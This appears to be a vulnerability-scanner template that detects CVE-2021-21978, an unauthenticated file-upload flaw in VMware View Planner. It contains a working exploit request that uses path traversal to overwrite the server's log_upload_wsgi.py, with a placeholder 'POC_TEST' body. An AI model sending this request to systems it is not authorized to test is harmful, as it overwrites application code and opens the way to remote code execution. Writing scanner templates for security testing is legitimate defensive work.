id: CVE-2021-21978 info: name: VMware View Planner Unauthenticated RCE author: dwisiswant0 severity: critical reference: https://twitter.com/osama_hroot/status/1367258907601698816 description: | This template detects an VMware View Planner 4.x prior to 4.6 Security Patch 1 contains a remote code execution vulnerability. Improper input validation and lack of authorization leading to arbitrary file upload in logupload web application. An unauthorized attacker with network access to View Planner Harness could upload and execute a specially crafted file leading to remote code execution within the logupload container. tags: cve,cve2021,vmware,rce classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.80 cve-id: CVE-2021-21978 cwe-id: CWE-434 requests: - raw: - | POST /logupload?logMetaData=%7B%22itrLogPath%22%3A%20%22..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fhttpd%2Fhtml%2Fwsgi_log_upload%22%2C%20%22logFileType%22%3A%20%22log_upload_wsgi.py%22%2C%20%22workloadID%22%3A%20%222%22%7D HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySHHbUsfCoxlX1bpS Accept: text/html Referer: {{BaseURL}} Connection: close ------WebKitFormBoundarySHHbUsfCoxlX1bpS Content-Disposition: form-data; name="logfile"; filename="" Content-Type: text/plain POC_TEST ------WebKitFormBoundarySHHbUsfCoxlX1bpS matchers-condition: and matchers: - type: status status: - 200 - type: word words: - "File uploaded successfully." part: body - type: dsl dsl: - "len(body) == 28" # length of "\nFile uploaded successfully."